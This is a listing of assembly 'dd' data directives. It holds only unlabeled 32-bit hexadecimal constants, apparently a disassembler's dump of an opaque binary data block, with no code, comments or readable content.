		dd 0B9F1FF0Bh, 9D423AECh
		dd 0BC453AD4h, 0F82F05B1h, 5F6CA272h, 0AC330CE4h, 0DDF71D43h
		dd 0EC32E4FFh, 37A8E15Fh, 0BDD392DEh, 1ACC3C44h, 84B1855Fh
		dd 14AB5E37h, 0F61144E5h, 41D52C8Dh, 7D31F509h,	0CE700EE1h
		dd 2D98C7D7h, 61D3927Dh, 0D3337BB3h, 0DAC370D6h, 29515E9h
		dd 57C6319Fh, 4E182365h, 4EE9039Ah, 0BBF1C459h,	22640181h
		dd 0CEC9752Ch, 5F25E2D6h, 0A32D07CCh, 6BC2F33Ch, 0E98F385Dh
		dd 0E849955Eh, 0BBEF20CEh, 409CCB1h, 5A94003Ch,	7E2814Ah
		dd 0AB70EF8h, 40DE6FC1h, 80FCB2F2h, 0D34D8951h,	0B30BD3ACh
		dd 5506C252h, 0E9182B36h, 0C59B6E2Bh, 0C922741h, 67611390h
		dd 0D3B996BDh, 4868CBBAh, 65CF93B3h, 0E744303Fh, 4F317440h
		dd 0DD20EEFDh, 3B2349C9h, 0E1046D1Bh, 81A7748Ah, 0A50B8E13h
		dd 87E4C08Bh, 861ABDCCh, 7AC21540h, 0A0318C2Dh,	0B3B6EF6Dh
		dd 0CC0B5CFDh, 4D4C2042h, 34590F1Dh, 46CCBACDh,	41FF2FE9h
		dd 97622C56h, 5FD1A969h, 0C3B7E505h, 0A20472A5h, 7B6C5509h
		dd 2AFB0FFh, 0CBE7EB12h, 0B55B6EF0h, 2B631979h,	0F7EF026Ch
		dd 401E09A5h, 57D113C2h, 7E6BB709h, 665C42C5h, 20E7D277h
		dd 56B53B72h, 70FC8224h, 35C5A62Eh, 4CE56805h, 0C3C1CEACh
		dd 80523114h, 6ADC4536h, 6B90E9D9h, 631AE16Dh, 6FB0C260h
		dd 0F19398BFh, 72B50509h, 8C8E36E9h, 9C162B50h,	5F8DB0Bh
		dd 95BE5601h, 2001904Ch, 0E91008A6h, 774C6A48h,	0A7473D14h
		dd 428A5B8Ah, 0E47AD0AEh, 304C009h, 5BD80726h, 55B0C237h
		dd 4A6E8E68h, 0CD2AB018h, 260917FEh, 0F044E966h, 0BDB30BC7h
		dd 0E762CB80h, 4F76BF58h, 39D0B6h, 0AE28E0B8h, 0C3E8D15Eh
		dd 0A7462BA8h, 48A4E9D0h, 51F8F792h, 0B09AC9F0h, 0F0B550BFh
		dd 99DCBD74h, 99A162h, 0E462E72Dh, 0DAA6A50h, 9726D07h
		dd 548EC729h, 84724C08h, 60AE7C6Ah, 2E64C5B7h, 968E3860h
		dd 0B0437E1Dh, 45F0557h, 0AB466BEFh, 0BA6F5902h, 0AF0BF5C1h
		dd 0F700DB58h, 7DE0DD8h, 25E92759h, 9C481F86h, 8A0F72E4h
		dd 0A4D08919h, 44AB6DF3h, 0B334B785h, 0B10610BDh, 5B2B010Ah
		dd 6AFC0854h, 2773A230h, 7F145CA4h, 7F0F4505h, 0A803C71Bh
		dd 6F312501h, 806A1D19h, 7C270EEEh, 0F725C095h,	88E8A0DDh
		dd 0F6DE2884h, 75C595F9h, 7825E962h, 0FF5C4ABDh, 0F06A3D2h
		dd 4DE92D83h, 0C1897192h, 0F11D37Dh, 1AC6F831h,	0B8075639h
		dd 7F972334h, 0E89568A2h, 8103FCEBh, 0AE0845Bh,	5381304Bh
		dd 8652F576h, 0A1F440C3h, 6F78257Eh, 0EEE9BC02h, 811FDBD0h
		dd 78AD66CFh, 0FE724C8h, 0E037129Bh, 0CB1A5FFh,	68095B91h
		dd 0C5301593h, 1ACA34F9h, 9903AC56h, 11F0629h, 0E173315Ah
		dd 0E3DFF743h, 0FCEB5398h, 16EFC148h, 58C035E9h, 972D8468h
		dd 4B142118h, 0F601CA91h, 3B1755E4h, 17B52620h,	0E0F5F825h
		dd 68135BAFh, 1DAC7B10h, 5E00BCB5h, 64FFFE32h, 393622D9h
		dd 7825C777h, 23D04861h, 0F6F69FCFh, 0EDC828Dh,	978EE87Eh
		dd 953405EFh, 9832FA47h, 79DC55A3h, 0FB4165EFh,	3BF4BFC9h
		dd 22FEB80Bh, 4692D9A1h, 6B3A2A05h, 0B4AA4902h,	7E70D3F5h
		dd 0BE627BBDh, 8E999426h, 89E9555Ah, 0AC0408A0h, 2C74D828h
		dd 98BF2AE4h, 4A02688Bh, 2D32E369h, 19FDB45h, 8860B151h
		dd 0B7E03BCCh, 288A1DC3h, 4BEB5DE3h, 7B70E4E9h,	3B47B904h
		dd 95BB17A0h, 320781D5h, 7AFAE5F1h, 0BEA16216h,	0B4C0FC3Eh
		dd 7C6F3791h, 70D5F701h, 634E8547h, 1E48DDE2h, 0FD12AA4Bh
		dd 6873D0BEh, 4CB73633h, 0B0D79D25h, 3E760D53h,	0F3037C96h
		dd 0A6D070Ch, 71050C0Fh, 0D916D2FBh, 1B70AF08h,	6E0B805Fh
		dd 0AA3D0867h, 0AD9243D1h, 1239EA2Dh, 0ECCA1693h, 0A51EB183h
		dd 4A28BA2Bh, 10A2C152h, 0F41A0967h, 55EC8BE3h,	404564Ch
		dd 120166FCh, 4209F0AFh, 763189B5h, 0A1D55B85h,	45A66E2Fh
		dd 964DE2D7h, 0C583CF44h, 0E0DF5D09h, 1855E5BDh, 0AE516052h
		dd 8F646B38h, 6F957282h, 38F3A1EEh, 37CAA5F3h, 0BADA4B70h
		dd 0E280EB30h, 5FF2E64Eh, 0DF9E769h, 0D0C1E9B3h, 0D65059C4h
		dd 394B9F6h, 78E38FC6h,	0BCB8D90Fh, 0D47AC125h,	3369C1A7h
		dd 25BB2BECh, 3E95B516h, 111DB5C0h, 4045AA31h, 17F1BE4Dh
		dd 0AC350E06h, 0F9A54A10h, 0A45F0B02h, 0D9C256FAh, 0E90D7C3Eh
		dd 95814E5Fh, 0D8075610h, 66F95582h, 79C212BEh,	81720727h
		dd 0F819FF5Ah, 5A3F3D23h, 0EB00B8A6h, 34584498h, 14525468h
		dd 49B8101Ah, 80C98101h, 2054213Eh, 261EBDC2h, 0CD160B23h
		dd 0EC41F4C9h, 8C70F6BEh, 3BD76E09h, 2876ECC1h,	69D46F0Eh
		dd 0D95F0809h, 0CC59EBDFh, 53EC2267h, 77E83BF3h, 13D57DADh
		dd 94D600AFh, 0E947E126h, 0A09F09E6h, 3E98C3E6h, 0BD035EDBh
		dd 3808410Bh, 0BC0FA5E9h, 2F9E4079h, 0BD5AD329h, 0A9902450h
		dd 0C0C7D29Fh, 881F056Ah, 425E906h, 249671E6h, 57CB0893h
		dd 0E283BF0Fh, 0F84F3D2Dh, 53B32FC5h, 6E5A1699h, 6483F88Dh
		dd 16C11863h, 0B2E9EFC8h, 0C74FD95Ah, 5BD31FB7h, 0E25B85E3h
		dd 76CE84EDh, 81E7C105h, 3898E4CCh, 0C5D79C2Eh,	0A89D14EFh
		dd 695A01B5h, 6B306620h, 0B0CD936h, 16681F15h, 0A3D38875h
		dd 2555560Fh, 869804BEh, 507C1Eh, 35484028h, 121A3D53h
		dd 0BE5876C0h, 251DACCAh, 0FE7E2981h, 0A320CB12h, 734367C1h
		dd 968FF671h, 23F825F2h, 77FBCB04h, 0C4811830h,	958174B0h
		dd 683D2BF6h, 9F186B4Dh, 2F0CC2A6h, 3FDA52BAh, 9E2AF602h
		dd 4209481Eh, 0B6FB82C2h, 9FD3DD6Bh, 9C0C531Fh,	6EE1963h
		dd 3FE3A7Eh, 0CDF23689h, 0AE149001h, 620EE941h,	75A9D72Ah
		dd 0B100F0DEh, 59ECC04Eh, 0F6F2F05Bh, 2D0DDA48h, 4EE5E611h
		dd 5274C29Eh, 66F1C55Fh, 502513F3h, 2FA2DB54h, 15E3D05h
		dd 0A913B158h, 4D0D8274h, 83538602h, 0D864B3E8h, 5CB5E945h
		dd 588941B8h, 237470Ah,	186D17B2h, 3723CD60h, 74690620h
		dd 0C940B77Eh, 1D16FBEDh, 20EB1404h, 4A6608A1h,	0EF31CA09h
		dd 0FB7E5Dh, 0A52DD829h, 3E48E356h, 30FD00A3h, 43052CB7h
		dd 7F973A47h, 5C02AECFh, 0E4508AE9h, 2F8778F6h,	24EEA346h
		dd 93410C98h, 84BAD107h, 7DCF4227h, 195A4DCEh, 0C3FE1205h
		dd 84F928C3h, 0C519DB87h, 0E907B0B1h, 36C9B153h, 61A56866h
		dd 7176B79Ch, 59345962h, 189B2A5Eh, 0A35A4568h,	19B5D033h
		dd 0F83DC680h, 0BC4F135Fh, 4180B4F3h, 0E2654642h, 0F4FB6829h
		dd 0BE5F1208h, 50318FF3h, 7A576E86h, 0C105F9D3h, 0B87E3FDDh
		dd 7E54B2E1h, 836016AFh, 47B1402Ah, 870028ACh, 2CE16856h
		dd 0E686D86h, 0E1E1A4h,	383FF8E0h, 0D6312D09h, 0C850DD5Ah
		dd 7D75852Fh, 0B0D1E590h, 15F86880h, 2A629349h,	8748E9C2h
		dd 57523056h, 0BEF708E2h, 981B96DFh, 38B92DAEh,	22752609h
		dd 21C90249h, 9C250093h, 127AC572h, 918F2827h, 212B5C43h
		dd 12494F59h, 9DA4F8C7h, 2F7376F2h, 0E0B81AC0h,	1D5A564Fh
		dd 0C07E9E05h, 480A2D25h, 0C8EA0F6Ah, 1CA13300h, 0CE9C609h
		dd 4B5C914Ch, 0E9137E46h, 0A6B83689h, 684F099Eh, 5B137B90h
		dd 294B57E4h, 80160B1h,	0E96B3C8Bh, 776AF1F9h, 90D7B66Dh
		dd 6D72425Bh, 6C010213h, 99C34FAh, 194C5D0Ch, 0B72244B0h
		dd 47C7056Eh, 8582384Dh, 0D1EF0CDAh, 70E46A0h, 0C65A716Bh
		dd 4B2F304Eh, 9F00ABC3h, 4768CB29h, 0A5A3C51Dh,	463CEAF9h
		dd 0E341332h, 0F02C1629h, 3D0BA124h, 45703FAh, 2800110Eh
		dd 0EB8058C3h, 4BFA714Fh
		dd 0B1299A4Fh, 901AB8CBh, 77143284h, 7471F9FCh,	9F5E21B1h
		dd 554823CAh, 7DE33F59h, 0CD5F5189h, 62F12F1Bh,	55BF6867h
		dd 0E9540523h, 0BED540F0h, 0FB9679E8h, 89148293h, 0C8401C2Dh
		dd 48D2EBF0h, 863250E3h, 82AB5946h, 28261556h, 12505C2h
		dd 64C6835Eh, 0D2B02182h, 6A56D924h, 730A6109h,	8B720590h
		dd 15F4FF3Dh, 3E1802BCh, 9008E965h, 8E58D9F5h, 8210798Eh
		dd 7D555854h, 0B55E7476h, 0A5C09BB2h, 8B48EEE9h, 635D8059h
		dd 0B009588Dh, 5A34FC23h, 0B5E4EC64h, 0DD323C82h, 1B3DC830h
		dd 27592A48h, 208314D4h, 0BA6BE5BFh, 505F6313h,	4525785h
		dd 0E9E52110h, 0FA8DD4C4h, 6C1D7401h, 37F05BAAh, 0C259C1C1h
		dd 74BF9F83h, 7A02A784h, 0D6E92B71h, 0D6C57509h, 0AD6592BEh
		dd 6F2B99D0h, 0BE16D33Dh, 0A86FFCE1h, 0E922B4DCh, 26B15632h
		dd 1D9C3B5Fh, 6CFD2587h, 403298C9h, 0BF015744h,	70F00E15h
		dd 96F4FB89h, 6129D4Fh,	7DC99376h, 0FF24CAECh, 538B3051h
		dd 0E0C4DF55h, 57EB8925h, 59B5DAECh, 4F2249A2h,	0A649A1E9h
		dd 6ACEE15Fh, 0B82FEDA6h, 779D2FDAh, 7C889911h,	62EF5F84h
		dd 29D59B64h, 13A0568h,	0BC291DA0h, 50B400A4h, 0D4F6C4FEh
		dd 9CCC801Ch, 889487FBh, 2929E9E7h, 0CE8FFD86h,	4C972D06h
		dd 0DBA52FBCh, 0B1510568h, 0BF94811Ch, 0A6903A61h, 90C875E5h
		dd 3BFCF8A4h, 0C44E805Fh, 0D7A571BEh, 0B9CB7B5Ah, 16DA8A4Fh
		dd 5E85D9E9h, 8B8AF3BFh, 5C14C0C3h, 0F8293966h,	10175FA4h
		dd 7A533248h, 0F849D8E0h, 39384E80h, 3F4DF9C1h,	1349EE17h
		dd 73487F51h, 3BB8DBF7h, 10CC2109h, 2FEA76A2h, 5601F946h
		dd 0E8557ABEh, 0CB3A4E44h, 0C60E2419h, 0F281641Fh, 59FC362Dh
		dd 69C816Ah, 0FEB87EE6h, 0B864E4B7h, 17545E5Dh,	4E84389Dh
		dd 681D70BEh, 3EE175E7h, 0E9E22CBFh, 1E85A930h,	1CCF8197h
		dd 5D0A0D65h, 2AE7C04Fh, 0E9286104h, 5513665Bh,	7E0AE7BFh
		dd 9F74172Ah, 255152BFh, 80D1555Bh, 53ED2D07h, 0C4AE0825h
		dd 0E90704BCh, 5BCC92C0h, 0F703C1E0h, 2EC8D14Ch, 0A06921BBh
		dd 37232F0Dh, 4F41900Fh, 0B39EA824h, 5036C675h,	1322A55Eh
		dd 7443A2Dh, 0A4B82022h, 346C06Ah, 5E1A7A25h, 958D629h
		dd 26735D08h, 0DDF09B12h, 48C498C0h, 0A50E6D53h, 0A017F5B3h
		dd 5B1FDD78h, 0B781CDFEh, 8EFC067h, 0C729F42Eh,	0F69D30E2h
		dd 0ED404F8Fh, 0E9EA88E4h, 0EC69C52Ah, 0BAA42BF5h, 2FF39959h
		dd 56C0B8D1h, 1F3CBB53h, 257A926Bh, 0C6E092F6h,	4EE56ADDh
		dd 0D75A8267h, 0E3303BC8h, 0DC285816h, 0E0731FA0h, 0E0E92DE1h
		dd 4D57968Bh, 67E98496h, 0EA43D4DDh, 921CA601h,	6670829Fh
		dd 72532599h, 0D40C2DE1h, 4A9754A5h, 1C080D05h,	0DD5A1402h
		dd 10E847C8h, 0FCC83127h, 0A9DFC78Fh, 0B347B782h, 4A66D65Dh
		dd 0CF071C26h, 71E418F2h, 0F141FB69h, 0CE853F41h, 0BEAE92ECh
		dd 423881D6h, 3A090B7Ah, 70F5A800h, 383504A1h, 0F12CB83h
		dd 5953AF89h, 0E953C1BAh, 70172FA0h, 40DB3988h,	0A809BF7Ch
		dd 0D62CAD5Eh, 117A0C4Ah, 360BEA83h, 0D725487Dh, 82C354A0h
		dd 184ADA14h, 84196FDh,	0C1B8E2Eh, 3B5A7DE9h, 0F1816F9h
		dd 984AA30h, 31240819h,	0F8B38A9Eh, 82CEF64Fh, 579942E9h
		dd 0D749AFFEh, 50028C02h, 0F2D5E3A9h, 8F12BFB8h, 8E0263C4h
		dd 811B6743h, 0DE297DC1h, 0E5F7B505h, 0DB1D07A5h, 0B32D8ED6h
		dd 0EA1FD850h, 27B4B71Eh, 721AE916h, 8B33790h, 9B2E4D6Ah
		dd 0EF2E005Eh, 30A4E404h, 587189A0h, 8508DA25h,	80CEBE7h
		dd 1BCE0E5Fh, 9A24C836h, 82082E41h, 4837A20Ch, 61FB614Ah
		dd 0EE56843Fh, 12208CCDh, 9955134Ch, 17D6BC20h,	4E375969h
		dd 0C12C2EB2h, 0BA815D58h, 9D28C425h, 51A02E23h, 0F0724BA2h
		dd 0A4B277CAh, 3734D980h, 33B094Ch, 624EBC9h, 4DF1B03Fh
		dd 79C62F53h, 5982E854h, 5F41441Ah, 0AC22D18Ch,	0D8F08419h
		dd 0A52D5E72h, 5D3E2C20h, 76E21745h, 0DF1C7E5h,	0AF3C127Eh
		dd 923FACE1h, 59C256EFh, 8EDDB729h, 334E2B42h, 0C6229538h
		dd 2719FC47h, 602F0A54h, 0B4800EE6h, 306481FBh,	0FC2517BDh
		dd 420F2B1Eh, 801D0D40h, 143523C2h, 95AF785Bh, 3A31DDE1h
		dd 4173C3BDh, 0FE914452h, 0F858FEB0h, 7739C1Ch,	8464FABEh
		dd 0EAE3802Ah, 0C4B0C838h, 0E546C12Fh, 0DA133E07h, 0D31AFCC6h
		dd 0D1D2F58Ah, 0EB970h,	275B5853h, 0D476C389h, 0A9EB58h
		dd 167A67Bh, 0E90B31C3h, 4B73FB38h, 8F0BCEAFh, 0C5B1D7E9h
		dd 46201521h, 3B1D28CCh, 0B4EF04D2h, 0F943CB12h, 600841B5h
		dd 3FF73EACh, 0F68060F2h, 3CF10FC6h, 8974E913h,	0C5524AA2h
		dd 0A366ED13h, 7BE5E72h, 0F3505D7Ah, 8F674109h,	6871E772h
		dd 0C8DB6027h, 5CD21F94h, 0B84F8F23h, 0BB2A60F4h, 4843687Fh
		dd 8503A321h, 53DEBC97h, 0DF1270BEh, 84AB1D59h,	0F80710D8h
		dd 0C051F925h, 6256681Fh, 0CAE135BAh, 1C1518E7h, 998F3E5h
		dd 216FEF7Ch, 23FFD88Bh, 847DBB3Dh, 0D685E920h,	40F75CB7h
		dd 151D5250h, 93BCD195h, 4ECEA83Fh, 0B908BAFh, 44DC4BE9h
		dd 0C5F33D68h, 8BFCDE24h, 0FE5E689h, 17A9CC27h,	0B7565FFEh
		dd 0B5F65B10h, 68E5C59Ch, 0E9EE449Dh, 5A62B84Ah, 0EB2B3CAEh
		dd 371A9B8h, 2A3D8082h,	5CF7250Ch, 5B761E89h, 445EC93Bh
		dd 6FADF199h, 5E895AF2h, 632C7F7h, 47E526E9h, 8D30E877h
		dd 17EF6F19h, 0CDD244Dh, 0AD3D0250h, 6608EF7h, 4E002DE1h
		dd 2410250Ah, 0A05353Ah, 2825720h, 2DFF00B2h, 0FD187437h
		dd 0F3CF09Fh, 490CBA52h, 0CA811FC0h, 0C37B7708h, 1450490h
		dd 6E45F12Bh, 0FE611BD7h, 0A664AAF8h, 0C8CE29E9h, 6722A5F9h
		dd 68018C7Bh, 33231B08h, 8AC18806h, 4CECFC44h, 0A5BC53BDh
		dd 14095513h, 0F6629268h, 3B5FC22Dh, 325390A3h,	2A050B15h
		dd 2EBF4095h, 0E1A5AE9Dh, 129236C4h, 0BD5A57ECh, 6841B859h
		dd 322E32D7h, 7ECA1887h, 4A9BF957h, 567E806Ah, 83476DCFh
		dd 0A201EF28h, 0EC2A8201h, 7AF5E963h, 143FA62Fh, 8272CA01h
		dd 0A92B0768h, 0B7020529h, 74BE0890h, 597C3F6Dh, 356FF72Eh
		dd 6B84BB47h, 2032844h,	3F468DBBh, 15E15CE9h, 2C168423h
		dd 53AC5ABFh, 1CF3F784h, 0C312D313h, 0E82BA9A1h, 84B3E4DFh
		dd 83E5EC4Ah, 0C1B9F580h, 4C6839FDh, 453C1CFh, 176E5FD1h
		dd 81F600BAh, 0BB0F9FCFh, 27846058h, 78438998h,	0BFE0BDF9h
		dd 4B01D578h, 5C37CD81h, 85436F3Eh, 0D82863E2h,	49C95202h
		dd 33CC2F6Bh, 185F1F9Bh, 5E3A4B34h, 0E0A67553h,	8A312B00h
		dd 5E5DE92Dh, 686D20CCh, 349719E0h, 0C1BB079h, 4C7B0A58h
		dd 52186C48h, 0CF0C2B13h, 8BF3E42h, 33A5E105h, 6F104A6h
		dd 86E9057Ch, 6BBF9790h, 81A0F62h, 258BFB09h, 0F2074C5Ah
		dd 32EF6188h, 0F57966B2h, 82DEC0A7h, 138054D4h,	39074656h
		dd 0E79DFAB5h, 2525B074h, 4F004369h, 155683E5h,	0E055D4B7h
		dd 0D16921CFh, 75E90C17h, 0A61BEA5h, 402A6C31h,	5B13F52Fh
		dd 0F73049EFh, 7A7010DDh, 5ADA9D2Ch, 5D1C62BFh,	77493FD9h
		dd 68138D14h, 4EEC6629h, 0AB1BA9C5h, 5E24FDCBh,	26822DD0h
		dd 92F6FD30h, 8146F058h, 35F27A29h, 5F3CA8D3h, 8D62EAE9h
		dd 0D95E79E9h, 0A4EA5E13h, 2B775983h, 4BDAE495h, 66E62802h
		dd 56FCBD5Ah, 6696AD12h, 2F6B886Ah, 0B04C4073h,	6C849673h
		dd 1FFA5743h, 23FD2154h, 16A84419h, 0B87EC450h,	0DDD4A4D9h
		dd 494A94EDh, 1225796Eh
		dd 0ECC2FB5Eh, 56EDC19h, 0B862EB68h, 1B90CD73h,	0C513AB2Fh
		dd 0F13191FAh, 2F8E3553h, 0E33D15E1h, 0F675EC5Eh, 78D725E4h
		dd 0FF006D66h, 0C118236Bh, 48F707E0h, 96714DD0h, 777080E6h
		dd 0D92903DBh, 8F504095h, 17F4164Dh, 13E5EC09h,	0FF0CABC9h
		dd 24809E0Ah, 8C4828Ah,	2500B46Ah, 304009B0h, 2B780A35h
		dd 32B13F27h, 0BF018522h, 1CCD458Ch, 0B9270B2Eh, 0FB5FFCA9h
		dd 5A9D0B6Dh, 0EC899351h, 0FF15A56h, 9471B71h, 12757264h
		dd 2CA9901h, 0F47F0695h, 0D2406BD8h, 0B9F60F80h, 5060F708h
		dd 0C4FEABB4h, 5D65F4F6h, 0B94F2A42h, 0DF5009EBh, 56E0BCDBh
		dd 2D63B768h, 646855EFh, 1109CE81h, 0F442EA16h,	0D9F68982h
		dd 0FE0ACB85h, 52DDE2F6h, 30E4473Bh, 5CBEC2F8h,	51DB7580h
		dd 0E29F298Ah, 0C64AD716h, 0DE520B0Bh, 76721B20h, 13EE4F5Bh
		dd 2EE4CD78h, 688223BCh, 95CC13FCh, 256EBB2Fh, 0C2C0C6ECh
		dd 5892091Bh, 3D240E1Fh, 0A9CD963Bh, 7BEE8647h,	0BBA051Ah
		dd 0C070731Dh, 176FA93Ch, 74744Ch, 6DDE295Ch, 0BD4D10E9h
		dd 20578A91h, 3E04272Dh, 0D7891EA0h, 1D1CEF00h,	0E09D7084h
		dd 67ABE956h, 11BBA810h, 3B7A5173h, 5C255DBDh, 75B63E00h
		dd 0FD5EC680h, 99E191F0h, 3DE601C7h, 54512202h,	8FFE80D1h
		dd 32499706h, 5D4C27C3h, 50F6C9EEh, 0D6C1F3CEh,	2AF10700h
		dd 0B80C6001h, 47820BCDh, 0BC74BAB3h, 39FCF62Dh, 0E082E8CEh
		dd 0BFC6FCE9h, 0A8D2D0D4h, 622DC10Ch, 57034A26h, 0FE72DB56h
		dd 0E0C6E0DEh, 374AAC06h, 88310FAh, 77D45B2Fh, 9E31ECC4h
		dd 49257F2Ah, 6F32F1EAh, 0EC9B998h, 125060Eh, 8BCFF2D2h
		dd 76F762BEh, 0F56861F0h, 3565361Dh, 84A85B7Bh,	35CABE4Eh
		dd 8196102Eh, 5337DBBFh, 4B026B32h, 7D40C823h, 4D76083h
		dd 0F831F1F8h, 56E55F4Ah, 0EF094B7Bh, 5991A47Fh, 5FC8FBAh
		dd 9C95E955h, 2D8BBBA8h, 589CABF7h, 87582093h, 680714A0h
		dd 0EB6C4731h, 0D12A654Fh, 6F764CD3h, 9ADCCAD1h, 0DFEA417Eh
		dd 2AC34BFBh, 0BC96AE91h, 3019896Bh, 40C9F0F0h,	9F4BD877h
		dd 43987F8h, 54CD25DFh,	46FE27DDh, 2D9F6408h, 980AB752h
		dd 0ED556A57h, 0E767B000h, 5B29E979h, 0BEA3A43Fh, 7045C10Bh
		dd 0DBFEE038h, 0FD330139h, 41E9F389h, 5DCC6B6Bh, 3377489Dh
		dd 81CED2DCh, 0BBCA784Eh, 4EC31353h, 1C1C6ECh, 0F56A8165h
		dd 7D828F5h, 0EA80E2D0h, 0B25251D0h, 0DDB109E0h, 15619CE9h
		dd 4026B48h, 0B2F162Dh,	5F55B00h, 6A61187Ch, 0BBF4A30Ch
		dd 63EAD0FBh, 32AAA069h, 15779727h, 98F727FEh, 22330102h
		dd 7813AA2h, 51E8DEE9h,	0F897742Ch, 0F851E8DCh,	0B2455484h
		dd 5D5078DDh, 281D6D53h, 13046EE6h, 5FCAFC97h, 563F76CAh
		dd 0E3173892h, 6C450B00h, 0C331826Dh, 0CB8A0F97h, 9631148Ch
		dd 5F2F2A7Ch, 3326B0AFh, 0EAE75CABh, 7B1CCAF1h,	214A518Fh
		dd 1207A86Dh, 0C8DB5D0Ch, 0C114D4EBh, 4210DE9h,	4B380804h
		dd 0C300EB17h, 0C00901E2h, 0B0CC103h, 7A060465h, 68C23040h
		dd 1618CF7Fh, 220592E9h, 0BB54C732h, 1962BD01h,	50E0271Dh
		dd 7F4D0468h, 0EB584322h, 12E0EBF0h, 0EF0ED4C4h, 0F787D490h
		dd 1DCF7D81h, 0BC6C4A64h, 82EFF21Dh, 5FFE89ECh,	2A465F49h
		dd 0DEF66A07h, 0C7B87C75h, 55346809h, 5B8CEFF1h, 0B5299946h
		dd 0CA26515Bh, 0B221E500h, 5901E930h, 0BC5FF436h, 0D7022582h
		dd 0DF200048h, 729F5179h, 0C1F14C88h, 294DE906h, 0BB4AF2EBh
		dd 3C05D2AEh, 0A56F67DFh, 8B9D65E5h, 0ED0C5B2Fh, 8EC7B06Ah
		dd 2C1F4218h, 2CC65238h, 225000C1h, 0AFE42FBAh,	81C3E660h
		dd 2EDAA5EAh, 9CCFA675h, 0F20FD2E9h, 0FA8284B1h, 125FBB01h
		dd 0DFF03A53h, 3510BABh, 0CA722101h, 0F196E974h, 0D851DE2Fh
		dd 9CA894A1h, 561E8EF7h, 25FE2F65h, 0A5C4D969h,	56BF9C6Ch
		dd 67DF8B17h, 0A843D97Ch, 0F2AE856Dh, 5F578B5Ah, 5F587766h
		dd 0FAE9B0A2h, 24FBB5F7h, 0D59DB269h, 25E0631Ah, 4A3ABB66h
		dd 0F401274Fh, 0D5298FACh, 1AED8186h, 8F975A7Eh, 5168E3EDh
		dd 174FF63Bh, 34A631E9h, 29C0BF6Ah, 5A2B69CAh, 59DB810h
		dd 78FA0BA1h, 812400EEh, 2A0984F6h, 0ECE91013h,	0DEBEF640h
		dd 0B577856Ch, 1202B109h, 3C0A7983h, 8EE1A517h,	9666B76Bh
		dd 48540601h, 7D700E1Fh, 505F122Bh, 0A0DB0962h,	5848F5F2h
		dd 0F24C7A1Dh, 5BD885F2h, 14961BF9h, 88B6636Bh,	35B9B440h
		dd 3C41FF9h, 0F3ECE690h, 20DF21EAh, 1202FEC0h, 44A3B058h
		dd 0DE422361h, 5B697710h, 8A026AE8h, 315B291Bh,	322521C0h
		dd 0DD49EBB4h, 36545080h, 0D6C15280h, 0AC74306h, 0F9B6A543h
		dd 0F03F61EDh, 0F164B919h, 91EAD3D3h, 63E16047h, 496813FAh
		dd 0F51DE591h, 0CDBF1A80h, 4F396D4Ch, 0EB207795h, 2D79A927h
		dd 0E9FD211Dh, 68130167h, 0D82A16E7h, 30018E05h, 0E94713F5h
		dd 297941DAh, 0C335BFD0h, 1611399h, 0B74D255Dh,	0D648F97Dh
		dd 9860A3D4h, 4A7AEA6Ah, 5CD0AA5Bh, 2E226CB1h, 892E894Dh
		dd 6E5DF74Eh, 85282D8Eh, 52309746h, 0D9B95A19h,	3AFD244Eh
		dd 0CB3001Dh, 0CA21C75Fh, 0D7EF594Eh, 0AC32E126h, 0C3B47F19h
		dd 437812D5h, 8B4AED7Ch, 0C5552BC3h, 0F5016003h, 4E56FDE9h
		dd 0CBC84B56h, 2F0B45BAh, 0E9C2A7E2h, 2EF1BED8h, 966E569h
		dd 0E5A393E9h, 0AB97BB5h, 0A7283ADDh, 0CE3C4A05h, 8F85EBBh
		dd 7A04B858h, 0EA373356h, 8072494h, 272835Eh, 5C1AE3E9h
		dd 0BEA43334h, 9DB110A8h, 7F2D021Fh, 14F4B078h,	4F6204B5h
		dd 2F8B0880h, 0F24C4EB4h, 0BA660F84h, 8A097EB5h, 0C1881B73h
		dd 973354E5h, 9AB854D2h, 0BD57A300h, 382EACD8h,	0E9136798h
		dd 93AC8DE4h, 30789789h, 25A25B97h, 542F7EF8h, 0DAED5E59h
		dd 0BCFD38A2h, 8B9D9855h, 11FBBFB4h, 9F1599BDh,	3E095516h
		dd 702CA688h, 0E8C87AE7h, 0EC804F59h, 0E9EA7303h, 4318C8EBh
		dd 1FEBC8B5h, 3E256F4Ch, 0BB03B668h, 0E92E7C10h, 0FC60DF31h
		dd 5F38387Ah, 5B91E3DAh, 49E9C502h, 0A246DD16h,	0B07D0BFh
		dd 7639460Fh, 0ABAA3484h, 0A0BB6E49h, 27A2D0Dh,	56A033Bh
		dd 178F0CC7h, 0B1F4FBACh, 282B60B4h, 0B5515366h, 0DAE4DC7Ah
		dd 2D72C79Fh, 86662C87h, 1B097C39h, 89319D37h, 68522379h
		dd 292FF8DCh, 0A47ABF5Eh, 7E484601h, 49F8E964h,	0A3E782Dh
		dd 0AE0F2312h, 0F2D12E0h, 5A39847Bh, 1CE95321h,	0D3DC6425h
		dd 27FD7A05h, 0DDE33268h, 19E0B900h, 0D1F76C17h, 83E1C12Dh
		dd 0EF1F3B7Ah, 1DC9C03Eh, 141603h, 58E3BB53h, 0D93172BFh
		dd 0B2E9DDC4h, 945942B0h, 0CD5273Eh, 39B79518h,	1D60CD15h
		dd 7E8B6237h, 0B90E92Dh, 9E06F59Ah, 85F32F55h, 0E64BE903h
		dd 11C3A134h, 34B2A52Eh, 328DE9C2h, 0D4513ADFh,	9CC0081Ah
		dd 5695B520h, 41822714h, 0C77180DFh, 0DD58133Ch, 442F5129h
		dd 0FF3E1F9h, 130FCE68h, 5E0ACEFFh, 8D89CCFDh, 0E2215126h
		dd 8F00FD97h, 459A64F4h, 4602F595h, 386063FAh, 1204CC8Eh
		dd 5FFD099Eh, 65223F82h, 996F895Dh, 0AEDEFA4h, 0A2A79A03h
		dd 1209B1Eh, 577DA668h,	0CB8CD355h, 19F35100h, 68182364h
		dd 23704B4Bh, 20CF5061h, 580C3727h, 688FE93Eh, 9A09A534h
		dd 0EF357ADh, 0F1EC7DA7h, 0F11CD595h, 6FA12D00h, 72E92343h
		dd 0F294BF33h, 1E5FED20h, 911C380h, 53544533h, 0C440AB89h
		dd 201DB05Eh, 0C0B57121h, 1FA9EAB9h, 4A5AD788h,	0ACBB5EAAh
		dd 6C012572h, 0E5A1C8EAh
		dd 857F3DB1h, 46D5427Fh, 0D14A8CB8h, 102784A2h,	2D9FC5C2h
		dd 4D09509Bh, 0B097ABA5h, 0ED6E2097h, 381BC441h, 0C5D488FFh
		dd 2416DCB5h, 0F7425D0h, 0F6F9DD72h, 0FD6A278Bh, 0AF8BAC45h
